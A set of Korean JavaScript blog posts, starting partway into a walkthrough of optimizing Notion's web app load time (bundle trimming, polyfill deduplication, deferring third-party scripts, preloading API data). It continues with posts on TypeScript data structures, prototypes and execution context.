exports.getToday = function getToday() {
  return formatDate(new Date())
}
```

그리고 `lazy`옵션이 활성화 되면, 아래과 같이 바뀌게 된다.

```javascript
// After, with `lazy: (path) => true`, simplified
exports.getToday = function getToday() {
  return require('./formatDate.js')(new Date())
}
```

고맙게도, `getToday`가 호출되지 않는다면 `./formatDate.js`도 import 되지 않는다. 그러나 여기엔 몇가지 하자가 있는데

- 현재 코드베이스를 `lazy`로 변경하는 것은 까다로울 수 있다. 몇 모듈들은 다른 모듈의 부수효과에 의지하고 있을 수 도 있는데, 이는 딜레이를 유발한다. 그리고 [플러그인 문서](https://babeljs.io/docs/en/babel-plugin-transform-modules-commonjs#lazy)에 나와있듯이, `lazy`옵션은 순환 참조를 깨버린다.
- 웹팩 5버전 이하에서 [웹팩의 트리쉐이킹](https://webpack.js.org/guides/tree-shaking/)을 지원하지 못한다.
- 위에서 언급했던 것처럼 module concatenation을 꺼버린다. 이는 즉 모듈 처리과정에서의 오버헤드가 높아질 수 있다는 것이다.

위 세가지 단점은 이 옵션을 사용하는데 있어 머뭇거리게 만드는 요소다. 그러나 적절하게만 사용된다면, 비용을 줄이는데 도움을 줄 수 있다.

> 몇개의 모듈이 이렇게 지연 실행 될 수 있을까? Chrome Dev Tools에서 이에 대한 해답을 찾을 수 있다.
> 자바스크립트가 무거운 페이지를 연다음, Ctrl+Shift+P (Windows) ⌘⇧P (macOS), 을 누르고 "start coverage" 를 치고 엔터를 누르자.
> 페이지가 새로고침되면서, 최초 렌더링시에 얼마나 많은 코드가 실행되었는지 보여준다.
> 노션의 경우 39%가 `vendor`, 61%가 `app` 번들에서 페이지 렌더링 이후에 사용되지 않는다.
> ![](https://3perf.com/static/7aed4a03203dae92b7f153801229ff8d/28bdc/coverage.png)
>
> 오직 빨간 부분만 페이지 렌더링에 사용되었다.

## 사용하지 않는 JS 코드 삭제하기

![](https://3perf.com/static/1751d6c59e1e18a0a9de2334fd2d0b63/28bdc/js-trace.png)

`compile script` 과정에서 1.6초가 소요되고 있다. 이 과정에서 무슨일이 일어나고 있는걸까?

V8엔진은 다른 자바스크립트 엔진처럼, 자바스크립트를 [just-in-time compilation](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e)로 실행한다. 이 말인 즉슨, 모든 코드들은 실행하기 전에 머신에서 컴파일 되야 한다는 것을 의미한다. 따라서 코드가 많으면 많을 수록 컴파일하는데 더 많은 시간을 할애한다. [2018년 기준 평균적으로 보통 총 실행 시간의 10~30%를 자바스크립트을 컴파일하고 파싱하는데 사용하는 것으로 알려졌다.](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e) 따라서 이 과정을 줄이는 유일한 방법은 자바스크립트 코드의 양을 줄이는 것이다. (...)

### 코드 스플리팅

또 나왔다. 코드 스플리팅은 최초 번들 초기화 시간을 줄여줄 뿐만 아니라, 컴파일에 소요되는 시간도 줄여준다. 코드가 적을 수록, 컴파일도 빠르다.

### 사용하지 않는 vendor 코드 삭제

앞서 봤던 것처럼, 40% 정도의 코드는 로딩 후에 렌더링에 관여하지 않았다.

몇 코드들은 유저가 무언가를 액션을 취했을 때 필요해질 수 있다. 그러나 이런 코드가 얼마나 될까? 노션은 소스팹을 퍼블리쉬 하지 않는다. 그말인즉 [source-map-explorer](https://www.npmjs.com/package/source-map-explorer)를 활용해 본들 내부를 살펴보고 가장 큰 모듈을 볼수도 없다는 것을 의미한다. 그러나 우리는 github에서 압축되지 않는 외부 라이브러리의 코드를 통해 압축된 코드들에 대해 대충 추측할 수 있다. 이 과정에서 검거된(?) 라이브러리는 아래와 같다.

1. moment with all locales → 227 KB
2. react-dom → 111 KB
3. libphonenumber-js/metadata.min.json → 81 KB
4. lodash → 71 KB
5. amplitude-js → 55 KB
6. diff-match-patch → 54 KB
7. tinymce → 48 KB
8. chroma-js → 35 KB
9. moment-timezone → 32 KB
10. fingerprintjs2 → 29 KB

여기에서 최적화 하기 쉬운 모듈은 `moment` `lodash` `libpnoenumber-js`다. 날짜를 다루는 자바스크립트 라이브러리 `moment`는 모든 localization 데이터를 포함하면 번들링되도 160kb가 넘는다. 노션은 어차피 영어만 지원하므로, 이 `localization`은 별로 필요치 않다. 따라서

1. [moment-locales-wepback-plugin](https://www.npmjs.com/package/moment-locales-webpack-plugin)을 활용하여 사용하지 않는 `moment` locale을 지운다.
   2, `moment`를 [date-fns](https://date-fns.org/)로 바꾸는 것을 고려해본다. `moment`와 다르게, `date-fns`를 사용하면, 오로지 필요한 메소드만 import할 수 있다.

데이터 조작 유틸리티인 [lodash](https://github.com/lodash/lodash)의 경우 300개가 넘는 함수들을 제공하고 있다. 이는 좀 과도하다. 보통 많아봐야 5~30개 정도의 메소드만 사용할 뿐이다. 이를 해결할 좋은 방법은 [babel-plugin-lodash](https://github.com/lodash/babel-plugin-lodash)를 사용하는 것이다. [lodash-webpack-plugin](https://www.npmjs.com/package/lodash-webpack-plugin)도 마찬가지로 사용하지 않는 loadash 메소드를 날려준다.

[libphonenumber-js](https://github.com/catamphetamine/libphonenumber-js)는 전화번호를 파싱하고 포맷팅 해주는 라이브러리이지만, 전화번호 메타데이터를 포함하게 되면 81kb가 된다. 이것도 사용하지 않으면 삭제하는 것이 좋다.

### 폴리필 제거하기

`vendor`번들에서 의존하고 있는 다른 주요 디펜던시 중 하나는 [core-js](https://github.com/zloirock/core-js)라이브러리다.

![core-js](https://3perf.com/static/c3a621e6655ea9ce12a3f0ca9259d83c/28bdc/core-js.png)

여기엔 두가지 문제가 존재한다.

1. 불필요하다. 노션의 경우 크롬 81버전에서 테스트하는데, 해당 버전은 대부분의 모던 자바스크립트 기능을 지원한다. 그러나 이 번들에는 여전히 `Symbol` `Object.assign`등의 폴리필이 포함되어 있다.
2. 노션 앱에 불필요하다. 데스크톱 또는 모바일 앱에서도 마찬가지로 자바스크립트 엔진 또한 1번처럼 모던하다.

그러면 대신 무엇을 해야할까? 오래된 브라우저를 위한 폴리필을 지원하되, 몇가지 안쓰는 폴리필은 삭제하는 것이다. 해당 방법은 [이글](https://3perf.com/blog/polyfills/)을 참조하면 좋다.

이 폴리필은 여러차례 번들링 된다. `vendor` 번들은 `core-js` 카피 라이트를 3번이나 포함하고 있다. 매 카피라이트는 동일하지만, 다른 모듈에 의존되며 다른 의존성을 갖는다.

![](https://3perf.com/static/71b244456b9258e98be3547f06de1d59/e01d3/core-js-copyright.png)

이 말은 즉 `core-js`그 자체가 3번이나 번들링 된다는 것이다. 도대체 왜?

카피라이트 모듈은 아래와 같은 모습을 띄고 있다.

```javascript
var core = require('./_core')
var global = require('./_global')
var SHARED = '__core-js_shared__'
var store = global[SHARED] || (global[SHARED] = {})

;(module.exports = function (key, value) {
  return store[key] || (store[key] = value !== undefined ? value : {})
})('versions', []).push({
  version: core.version,
  mode: require('./_library') ? 'pure' : 'global',
  copyright: '© 2019 Denis Pushkarev (zloirock.ru)',
})
```

- `var core = require('./_core'); core.version`는 라이브러리의 버전이고
- `require('./_library') ? 'pure' : 'global'`는 [라이브러리 모드](https://github.com/zloirock/core-js/tree/v2#basic)다.

압축된 코드에서 이는

- `var r=n(<MODULE_ID>);r.version`고
- `n(<MODULE_ID>)?"pure":"global"`다.

이 모듈 ID를 번들에서 추적하다보면, 아래와 같은 것을 마주하게 된다.

![](https://3perf.com/static/884fccdc2f4bfb8cfe805a7985a2df09/e01d3/core-js-copyright-2.png)

이 말인 즉슨 `core-js`에 세가지 다른 버전이 있는데

- `2.6.9`는 글로벌 모드에
- `2.6.11`는 글로벌 모드에
- `2.6.11`는 pure 모드에

있다는 것이다.

[사실 이는 흔한 문제다.](https://twitter.com/iamakulov/status/1225069880988270592) 내 앱에서는 특정버전 `core-js`에 의존하고 있지만, 어딘가 내 다른 디펜던시에서 다른 `core-js`버전을 의존하고 있는 것이다.

이를 해결하는 방법은 `yarn why core-js`를 실행해서 왜 두가지 버전이 존재하고 있는지 확인하는것이다. 그리고 디펜던시를 조정해서 `core-js`버전을 맞추거나, 웹팩의 [resolve.alias](https://webpack.js.org/configuration/resolve/#resolvealias)를 이용해서 중복을 해결하면 된다.

## 로딩 워터폴 최적화하기

![how notion is loading](https://3perf.com/static/875c8bbd7a5a05190b50c9dffabecdfb/ffcbe/waterfall-explained-full.png)

https://webpagetest.org/result/200418_KE_d8c556d0fa8e60a79cd2370f224b3ad7/1/details/#waterfall_view_step1

여기서 몇가지 주목할 것이 있다.

- API요청은 번들이 온전히 다운로드 될때까지 일어나지 않는다
- 의미있는 페인팅(Contentful Paint, 실제 컨텐츠가 보이는 순간)은 주요 api요청이 끝나기 전까지 일어나지 않는다. (특히 35번 요청이 오래걸린다)
- API요청이 Intercom, Segment, Amplitude등 여러 써드 파티 라이브러리의 짬뽕으로 되어 있다.

### 써드 파티 라이브러리 지연시키기

써드파티 라이브러리의 경우 광고, 분석과 같은 일을 위해 종종 사용된다. 이는 비즈니스단의 문제로 - 유용하기는 하지만 문제의 시발점이기도 하다.

노션의 경우 위 3가지 써드파티 라이브러리가 자바스크립트 실행 성능을 저해하고, 메인 스레드의 실행을 방해하여 앱이 여전히 초기화 중인 것처럼 보이게 한다. 만약 이 3가지 써드파티 라이브러리를 날리면, 적어도 1초 정도의 시간은 벌 수 있다.

물론 이런 코드들을 날려버리면 참 좋겠지만, 지연 시키는 것도 한가지 방법이다.

```javascript
// Before
async function installThirdParties() {
  if (state.isIntercomEnabled) intercom.installIntercom()

  if (state.isSegmentEnabled) segment.installSegment()

  if (state.isAmplitudeEnabled) amplitude.installAmplitude()
}

// After
async function installThirdParties() {
  setTimeout(() => {
    if (state.isIntercomEnabled) intercom.installIntercom()

    if (state.isSegmentEnabled) segment.installSegment()

    if (state.isAmplitudeEnabled) amplitude.installAmplitude()
  }, 15 * 1000)
}
```

이렇게 바꾼다면, 앱이 완전히 실행되기 전까지는 로드 되지 않을 것이다.

> setTimeout vs requestIdleCallback vs events
> setTimeout은 최선의 접근 법은 아니지만, 쓸만하다.
> 가장 좋은 방법은 `페이지가 완전히 로드되었다`라는 이벤트를 참고 하는 것이다.
> [requestIdleCallback](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestIdleCallback)는 이러한 문제를 해결하는데 최적화된 도구인 것 같지만 서도 그렇지 않다. 크로미움에서 테스트 했을때, 너무 빨리 트리거 되었다.

## API 데이터를 미리 로딩하기

그 외에 노션 api의 경우, 렌더링 이전에 무려 9개의 요청을 보내고 있었다.

![](https://3perf.com/static/3612a04461fce98c8355e6188d41bfd8/335b6/waterfall-api.png)

각 요청은 최소 70ms에서 최대 500ms가 소요되었으며, 이 요청은 각 순차적으로 이루어졌다. 즉 한 가지 요청이 끝나야 다음 것이 시작되었다. 즉 api 요청에 대한 응답이 느려진다면 지연이 더 발생한다는 것을 의미한다. 이러한 지연시간을 없애는 좋은 방법은 무엇이 있을까?

가장 좋은 방법은 서버사이드에서 데이터를 데이터를 가져오고 이를 HTML안에 때려 넣는 것이다.

```javascript
app.get('*', (req, res) => {
  /* ... */

  // Send the bundles so the browser can start loading them
  res.write(`
    <div id="notion-app"></div>
    <script src="/vendors-2b1c131a5683b1af62d9.js" defer></script>
    <script src="/app-c87b8b1572429828e701.js" defer></script>
  `)

  // Send the initial state when it’s ready
  const stateJson = await getStateAsJsonObject()
  res.write(`
    <script>
      window.__INITIAL_STATE__ = JSON.parse(${stateString})
    </script>
  `)
})
```

> 이 방법을 위해서는 아래 사항을 유념해두자
> [최적의 성능을 위해](https://joreteg.com/blog/improving-redux-state-transfer-performance) 데이터를 json으로 인코딩하자
> XSS 공격을 피하기 위해 데이터를 [jsesc](https://github.com/mathiasbynens/jsesc)로 이스케이프 처리해두자. (`json: true, isScriptContext: true`)

이 접근 방법으로 인해, 앱은 API요청을 기다릴 필요가 없다. 앱의 초기 상태값(`state`)를 window에서 구해올 수 있으며, 렌더링도 즉시 이루어질 것이다.

또 다른 방법 중 하나는 데이터를 요청하는 인라인 스크립트를 작성하는 것이다.

```html
<div id="notion-app"></div>
<script>
  fetchAnalytics()
  fetchExperiments()
  fetchPageChunk()

  function fetchAnalytics() {
    window._analyticsSettings = fetch('/api/v3/getUserAnalyticsSettings', {
      method: 'POST',
      body: '{"platform": "web"}',
    }).then((response) => response.json())
  }

  async function fetchExperiments() {
    /* ... */
  }

  async function fetchPageChunk() {
    /* ... */
  }
</script>
<script src="/vendors-2b1c131a5683b1af62d9.js"></script>
<script src="/app-c87b8b1572429828e701.js"></script>
```

데이터가 로드 된다면 앱은 거의 즉시 필요한 데이터를 얻을 수 있다. 중요한 것은, 스크립틀가 가능한 빨리 요청을 날려야 한다는 것이다. 이는 번들이 로딩 중이고 메인스레드가 유휴상태일 때 응답이 도착하여 처리될 가능성을 높여 준다.

## 그 밖에

### 응답에 `Cache-Control`을 사용하기

응답 헤더에 `Cache-Control`이 세팅되어 있지 않다는 것은, 캐싱이 꺼져 있다는 뜻은 아니지만 - [각 브라우저 별로 응답을 다른 방식으로 캐시한다는 것을 의미한다.](https://paulcalvano.com/index.php/2018/03/14/http-heuristic-caching-missing-cache-control-and-expires-headers-explained/) 이는 클라이언트 사이드에서 원치 않는 버그를 야기 할 수 있다.

![](https://pbs.twimg.com/media/EXuNrXLWkAAdGrw?format=jpg&name=large)

이를 피하기 위해서는 번들 asset 과 api 응답 요청의 `Cache-Control` 헤더에 적당한 값을 넣어주면 좋다.

> For API responses (like /api/user): prevent caching
> → Cache-Control: max-age=0, no-store
> For hashed assets (like /static/bundle-ab3f67.js): cache for as long as possible
> → Cache-Control: max-age=31556952, immutable

### 스켈레톤 활용하기

보통 앱이 뭔가 로딩 중인 것을 보여주고 싶을 때 스피너나 로딩 바를 쓰곤 한다. [그러나 때로는 스피너가 체감상 성능을 더 악화시키는 효과를 가질 때가 있다.](https://www.lukew.com/ff/entry.asp?1797) 유저는 스피너를 보고 앱이 더 느리다고 느낄 수 있다. 이러한 느낌을 피하기 위해서는, 스켈레톤 UI를 사용하면 좋다.

![skeleton](https://3perf.com/1fb74cf3a28740ab90f3d61ea37e016c/notion-skeleton.svg)

## 요약

이러한 작업을 통해서 얼마나 최적화를 할 수 있을까?

- `vendor`번들에서 30%를 차지하는 사용하지 않는 의존성과 폴리필을 제거했다고 가정해보자. 추가로 코드 스플릿 방식으로 메인 번들에서 20%를 덜어냈다고 해보자. 컴파일 과 실행과정에서 얼마나 줄었다고 단언하기는 어렵지만, 대략 10~50%정도의 효과를 기대할 수 있다. 노션의 넥서스5에서는 25% 정도의 성능을 체감할 수 있었다.
- API를 미리 로딩해서 10% 정도의 성능 효과를 볼 수 있었다.
- 써드 파티라이브러리를 지연 시킴으로서 1초 정도를 더 줄였다.

대충 계산해서, 이러한 것들을 활용해서 기존의 12.6초에서 약 3.9초 정도를 절감할 수 있었다.

알고보면, 거의 모든 앱에서 번들러 구성을 조정하고, 몇가지 정밀한 코드 변경만으로도 이뤄낼 수 있는 최적화들이 존재했다. [3perf.com](https://3perf.com/#services)에서 가장 쉬운 방법을 찾아보자.

---

Source: https://yceffort.kr/2020/06/javascript-data-structure.md
Title: 자바스크립트 자료 구조
Description: `toc tight: true, from-heading: 1 to-heading: 4 ` 타입스크립트로 구현해보는 일반적인 자료구조 ## Stack - push와 pop으로 구성된 stack - LIFO ```javascript export default class Stack<T> { private stack: T[] construc...
Date: 2020-06-29
Tags: typescript, algorithm

## Table of Contents

타입스크립트로 구현해보는 일반적인 자료구조

## Stack

- push와 pop으로 구성된 stack
- LIFO

```javascript
export default class Stack<T> {
  private stack: T[]

  constructor() {
    this.stack = []
  }

  push(value: T) {
    this.stack.push(value)
  }

  pop(): T | undefined {
    return this.stack.pop()
  }

  size(): number {
    return this.stack.length
  }
}
```

## Queue

- 데이터 삽입과 삭제가 서로 반대쪽에서 일어나는 자료구조
- FIFO

```typescript
export default class Queue<T> {
  private queue: T[]

  constructor() {
    this.queue = []
  }

  dequeue(): T | undefined {
    return this.queue.shift()
  }

  enqueue(value: T) {
    this.queue.push(value)
    return this
  }

  size() {
    return this.queue.length
  }
}
```

## 우선순위 큐

- 각 원소들이 우선순위를 가지고 있는 큐
- 큐에서 무작정 `pop`이나 `shift`하는 것이 아니라, 우선순위가 가장 높은 것이 나오는 형태

```typescript
export type PQItem<T> = {priority: number; data: T}

export default class PriorityQueue<T> {
  private queue: PQItem<T>[]

  constructor() {
    this.queue = []
  }

  enqueue(value: PQItem<T>) {
    this.queue.push(value)
  }

  dequeue(): PQItem<T> | undefined {
    let entry = 0

    this.queue.forEach((_, i) => {
      const nextIndex = i + 1

      if (!this.queue[nextIndex]) {
        return undefined
      }

      if (this.queue[entry].priority > this.queue[nextIndex].priority) {
        entry = nextIndex
      }
    })

    const [dequeuedItem] = this.queue.splice(entry, 1)

    return dequeuedItem
  }
}
```

## 연결 리스트

```typescript
export class Node<T> {
  data: T
  next: Node<T> | null

  constructor(data: T) {
    this.data = data
    this.next = null
  }
}

export default class LinkedList<T> {
  // TODO
```

## 해쉬테이블

## 이진 트리

---

Source: https://yceffort.kr/2020/06/javascript-prototype.md
Title: Javascript Prototype
Description: `toc tight: true, from-heading: 1 to-heading: 4 ` # 프로토타입 상속이라는 관점에서 봤을 때, 자바스크립트의 유일한 생성자는 객체 뿐이다. 모든 객체는 `[[prototype]]` 이라는 private 속성을 가지고 있는데, 이는 자신의 프로토타입이 되는 다른 객체를 가리킨다. 이렇게 자신의 프로토타입의 프...
Date: 2020-06-27
Tags: javascript

## Table of Contents

# 프로토타입

상속이라는 관점에서 봤을 때, 자바스크립트의 유일한 생성자는 객체 뿐이다. 모든 객체는 `[[prototype]]` 이라는 private 속성을 가지고 있는데, 이는 자신의 프로토타입이 되는 다른 객체를 가리킨다. 이렇게 자신의 프로토타입의 프로토타입의 프로토타입을 따라가다보면, 결국 null을 프로토타입으로 가지는 오브젝트에서 끝난다. null은 프로토타입이 더 이상 없다고 정의되며 이는 프로토타입의 종점을 말한다.

```javascript
var obj = {a: 'hello'}
console.dir(obj)
```

![proto](./images/proto1.png)

## 속성 상속

객체의 어떠한 속성에 접근하려고 할 때, 그 객체 자체의 속성 뿐만 아니라 객체의 프로토타입, 그 프로토 타입의 프로토 타입 등등등 앞서 말한 프로토타입의 종단 까지 갈 때가지 그 속성을 탐색한다.

```javascript
let foo = function () {
  this.a = 1
  this.b = 2
}

let bar = new foo() // {a:1, b:2}

foo.prototype.b = 3
foo.prototype.c = 4

// bar가 a 속성을 가지고 있기 때문에 1
console.log(bar.a)
// bar가 a 속성을 가지고 있기 때문에 2
console.log(bar.b)
// bar가 c의 속성을 가지고 있지 않다. 그래서 프로토타입을 체크한다.
// foo.[[prototype]] 이 c를 갖고 있는지 확인하자.
// c가 있다.
// 4
console.log(bar.c)
// 프로토타입을 뒤져도 d는 나오지 않는다.
console.log(bar.d)
```

## 메소드 상속

```javascript
var foo = {
  a: 2,
  b: function (c) {
    return this.a + 1
  },
}

// 3
// 여기서 this는 foo를 가리킨다
console.log(foo.b())

// bar는 프로토타입을 foo로 가지는 오브젝트다.
var bar = Object.create(foo)

bar.a = 4
// bar.b()를 호출 하면, this는 bar를 가리킨다.
// 따라서 foo의 함수 b를 상속 받으며,
// a는 foo.a가 아닌 bar에서 새로지정한 a를 보게된다.
// 5
console.log(bar.b())
```

## How to use

```javascript
function dummy() {}
console.dir(dummy.prototype)
```

![](./images/proto2.png)

여기에 속성을 추가해보자.

```javascript
function dummy() {}
dummy.prototype.foo = 'bar'
console.dir(dummy.prototype)
```

![](./images/proto3.png)

foo가 `bar`값으로 추가된 것을 볼 수 있다.

```javascript
function dummy() {}
dummy.prototype.foo = 'bar'
var d = new dummy()
d.hello = 'world'
console.log(d)
```

![](./images/proto4.png)

1. d 의 속성에 접근할 때, 브라우저는 우선 d가 그 속성을 가지고 있는지 확인한다.
2. 만약 d가 해당 속성을 가지고 있지 않다면, `d.__proto__` (`dummy.prototype`)이 그 속성을 가지고 있는지 확인한다.
3. 만약 `dummy.__proto__`가 그 속성을 가지고 있다면, `dummy.__proto__`가 갖고 있는 속성을 사용한다.
4. 만약 `dummy.__proto__`마저 그 속성을 가지고 있지 않으면, `dummy.__proto__.__proto__`가 가지고 있는지 확인한다. 기본적으로 여기서 함수의 prototype의 `__proto__`는 `window.Object.prototype`이다.
5. 그래서 이제 `dummy.__proto__.__proto__` (`dummy.prototype`의 `__proto__`) (`Object.prototype`)에서 그 속성을 찾는다.
6. 근데 이제 그 위의 `dummy.__proto__.__proto__.__proto__`를 찾으려고 하지만, 더 이상은 없으므로
7. undefined로 결론 짓는다.

위의 지독한 과정을 (....) 코드로 살펴보자.

```javascript
function dummy() {}
dummy.prototype.foo = 'bar'
var d = new dummy()
d.prop = 'some value'
console.log('d.prop:      ' + d.prop)
console.log('d.foo:       ' + d.foo)
console.log('dummy.prop:           ' + dummy.prop)
console.log('dummy.foo:            ' + dummy.foo)
console.log('dummy.prototype.prop: ' + dummy.prototype.prop)
console.log('dummy.prototype.foo:  ' + dummy.prototype.foo)
```

```text
d.prop:      some value
d.foo:       bar
dummy.prop:           undefined
dummy.foo:            undefined
dummy.prototype.prop: undefined
dummy.prototype.foo:  bar
```

## 여러가지 방법으로 객체를 생성하고 프로토타입 체인 결과를 보자

### 문법 생성자

```javascript
var foo = {bar: 1}
// foo의 프로토타입은 Object.prototype

var arrayFoo = ['please', 'go', 'home']
// arrayFoo의 프로토타입은 Array.prototype
// 그래서 map, index 등을 쓸 수 있다.

function functionFoo() {
  return 'fuck'
}
// Function.prototype을 상속받아서
// call, bind 등으르 쓸 수 있다.
```

### 생성자를 이용

```javascript
function hello() {
  this.name = ''
  this.age = 0
}

hello.prototype = {
  setName: function (name) {
    this.name = name
  },
}

var h = new hello()
// h는 name과 age를 속성으로 갖는 객체다.
// 생성이 h.[[prototype]]은 Hello.prototype과 같은 값을 가진다.
```

### Object.create 활용

```javascript
var a = {a: 1}
// a --> Object.prototype --> null

var b = Object.create(a)
// b --> a --> Object.prototype --> null

var c = Object.create(b)
// c --> b --> a --> Object.prototype --> null
```

## [[prototype]] vs prototype

모든 객체는 자신의 프로토타입을 가리키는 `[[prototype]]`이라는 인터널 슬롯을 가지며, 상속을 위해 사용된다. 함수도 객체이기 때문에, `[[prototype]]`를 갖는다. 그런데 함수는 일반 객체와는 달리 `prototype` 프로토타입도 갖게 된다. 중요한 것은 `[[prototype]]`과 `prototype`은 다르다는 것이다.

```javascript
function Person(name) {
  this.name = name
}

var foo = new Person('Lee')

console.dir(Person) // prototype 프로퍼티가 있다.
console.dir(foo) // prototype 프로퍼티가 없다.

function P(name) {
  return name
}

var bar = P('Lee')
console.dir(bar)
```

![](./images/proto5.png)

### [[prototype]]

- 함수를 포함한 모든 객체가 가지고 있는 인터널 슬롯
- 객체 입장에서 봤을때, 자신의 부모역할을 하는 프로토타입 객체를 가리키며, 함수의 경우 `Function.prototype`을 가리킨다.

### prototype 프로퍼티

- 오직 함수만 가지고 있는 프로퍼티다.
- 함수 객체가 생성자로 이용될때, 이 함수를 통해 생성될 객체의 부모역할을 하는 객체를 가리킨다.
- 위 예제에서 `new Person('Lee')`는 이함수를 통해 `foo`가 나왔다. 이 `foo`의 `__proto__`를 가리킨다.

### 차이비교

```javascript
function Person(name) {
  this.name = name
}

var foo = new Person('Kim')

console.log(Person.__proto__ === Function.prototype)

console.log(Person.prototype === foo.__proto__)
```

## Constructor

프로토타입 객체는 `constructor` 프로퍼티를 갖는다. 이 constructor 프로퍼티는 객체입장에서 자신을 생성한 객체를 가리킨다.

```javascript
function Person(name) {
  this.name = name
}

var foo = new Person('Lee')

// Person() 생성자 함수에 의해 생성된 객체를 생성한 객체는 Person() 생성자 함수이다.
console.log(Person.prototype.constructor === Person)

// foo 객체를 생성한 객체는 Person() 생성자 함수이다.
console.log(foo.constructor === Person)

// Person() 생성자 함수를 생성한 객체는 Function() 생성자 함수이다.
console.log(Person.constructor === Function)
```

## 정리!!!

- `[[Prototype]]`은 자바스크립트의 모든 객체가 가진 값이며, `__proto__`로 접근할 수 있다. (혹은 `Object.getPrototypeOf(obj))`도 가능하다. 사실 똑같다.) 이것을 이용해 상속을 구현하며, 타고타고 올라가면 `Object.prototype`을 만나고 `Object.__proto__`는 null이다.
- `prototype`은 `new`로 새로운 object를 만들었을때 (생성자로 사용될때), 이 함수로 생성될 객체의 부모 역할을 할 객체를 가리킨다. (`XXX.prototype`)
- `XXX.prototype` 객체는 `constructor`를 갖는데, `constructor`는 자신의 입장에서 자신을 생성한 객체를 가리킨다. 따라서 `XXX`를 가리킨다.

![정리](https://i.stack.imgur.com/UfXRZ.png)

Foo를 중심으로 설명해보자.

- Foo는 함수다. 따라서 이 함수의 프로토타입은 `Function.prototype`이다.
- `Foo`를 생성자 함수로 사용했을때, `prototype`프로퍼티를 갖게되며, `Foo.prototype`이 생긴다.
- `Foo.prototype`의 프로토타입은 `Object`이다. (함수가 아닌 새로운 객체이므로
- `Foo`를 생성자함수로, `b`와 `c`를 `new`를 이용하여 만들었다. `b`와 `c`의 프로토타입은 `Foo.prototype`이다.

```javascript
// 생성자 함수
function Foo(y) {
  // Object를 생성한 뒤에, y 프로퍼티에 y값을 갖게 된다.
  this.y = y
}

// 또한 'Foo.prototype'은 Foo의 prototype에 할당되며,
// 이를 활용해서 프로퍼티나 메소드를 상속받거나 공유할 수 있으며,
// 위에서 제시한 예시와 같이 활용할 수 있다.
Foo.prototype.x = 10

// calculate 메소드를 상속받는다
Foo.prototype.calculate = function (z) {
  return this.x + this.y + z
}

// Foo 패턴을 활용하여 b와 c 오브젝트를 생성한다.
var b = new Foo(20)
var c = new Foo(30)

// 상속받은 메소드를 호출한다.
b.calculate(30) // 60
c.calculate(40) // 80

// 한번 확인해보자.
console.log(
  b.__proto__ === Foo.prototype, // true
  c.__proto__ === Foo.prototype, // true

  // Foo.prototype은 constructor라는 새로운 프로퍼티를 만드는데,
  // 이는 함수 그 자체의 생성자를 참조하게 된다.
  // b, c 생성자는 Foo 자체임을 알 수 있다.

  b.constructor === Foo, // true
  c.constructor === Foo, // true
  Foo.prototype.constructor === Foo, // true

  b.calculate === b.__proto__.calculate, // true
  b.__proto__.calculate === Foo.prototype.calculate, // true
)
```

![프로토타입 정리](./images/proto.001.jpeg)

---

Source: https://yceffort.kr/2020/06/javascript-execution-context.md
Title: Javascript Execution Context
Description: 들어가기에 앞서 더 좋고 제가 많이 참고한 글이 [여기](https://poiemaweb.com/js-execution-context)에 있습니다. 이글을 보시는게 낫습니다. ```toc tight: true, from-heading: 1 to-heading: 4 ```  # 자바스크립트 실행컨텍스트  이번 포스팅으로 자바스크립트 실행 컨텍스트에 대해 온...
Date: 2020-06-26
Tags: javascript

들어가기에 앞서 더 좋고 제가 많이 참고한 글이 [여기](https://poiemaweb.com/js-execution-context)에 있습니다. 이글을 보시는게 낫습니다.

## Table of Contents

# 자바스크립트 실행컨텍스트

이번 포스팅으로 자바스크립트 실행 컨텍스트에 대해 온전히 이해하길 바라며 🤔

## 실행 컨텍스트의 정의

실행 컨텍스트에 대한 정의는 아래처럼 나타나 있다.

> Execution context (abbreviated form — EC) is the abstract concept used by ECMA-262 specification for typification and differentiation of an executable code.

> Execution Context (이하 EC2)는 ECMA-262에서 명세되어 있는 추상적인 개념으로, 실행가능한 코드를 형상화 하고 구분하는데 사용된다.

여기 저기 블로그를 들쑤시고 다닌 결과, 대체로 **실행 가능한 코드를 실행하는데 있어 필요한 환경** 정도로 의미를 부여하는 것 같다. 실행 가능한 코드는 크게 세 종류가 있다. 그러나 보통 두 종류만 이야기 한다.

Global Code (aka 전역 코드): 프로그램 레벨에서 실행되는 코드로, `.js` 파일 또는 로컬 인라인 코드 (`<script></script>`) 등을 의미한다. 전역 코드는 어떠한 함수의 바디에 포함되지 않는다. 쉽게 얘기해서 전역 레벨의 코드를 의미한다. 여기에서 ECStack은 아래와 같이 생성된다.

```text
ECStack = [globalContext];
```

Function Code (aka 함수 코드): 함수 코드에 진입하게 되었을 때, ECStack에 새로운 엘리먼트가 푸쉬된다. 여기에서 중요한 것은, 함수 내부의 함수 코드는 포함되지 않는 다는 것이다. 무슨 말인고 하니, 아래 코드를 살펴보자.

```javascript
;(function foo(flag) {
  if (flag) {
    return
  }
  foo(true)
})(false)
```

이에 ECStack은 이렇게 수정된다.

```text
// 처음에 foo함수를 실행했다가
ECStack = [
  <foo> functionContext
  globalContext
];

// 재귀적으로 다시 foo를 실행한다.
ECStack = [
  <foo> functionContext – recursively
  <foo> functionContext
  globalContext
];
```

모든 함수의 return 문은 현재 실행 컨텍스트를 끝내며, (에러를 던져도 `throw Error` 끝나긴 한다.) 이에 따라 `ECStack`에서 `pop()`된다. 이런 과정을 거치다보면, 결국 `ECStack`은 프로그램 종료시점에 `globalStack`만 남게 된다.

`Eval` Code: 자바스크립트 시간에 쓰지말라고 신신당부하는 그 코드다. 굳이 쓸일이 없으니 자세한 설명은 생략한다.

아무튼, 실행 가능한 코드는 이렇게 3종류가 있다.

자바스크립트 엔진은, 코드 실행을 위해 여러가지 정보를 알고 있어야 한다. 이러한 정보에는 다음과 같은 것들이 있다.

- 변수: 전역, 지역, 매개변수, 객체의 속성 등
- 함수 선언
- 변수의 유효범위 (scope)
- this

아래 코드 예제를 살펴보자.

```javascript
var x = 1

function foo() {
  var arg = arguments
  var y = 2

  function bar() {
    var z = 3
    console.log(x + y + z)
  }
  bar()
}

foo()
```

위 코드를 실행하면, 실행컨텍스트 스택이 아래와 같이 생성되고 소멸된다. 현재 실행중인 컨텍스트에서 이 컨텍스트와 관련없는 코드가 실행되면, 새로운 컨텍스트를 만든다. 이 컨텍스를 스택에 쌓고, 제어권은 이 추가된 컨텍스트에 이동된다.

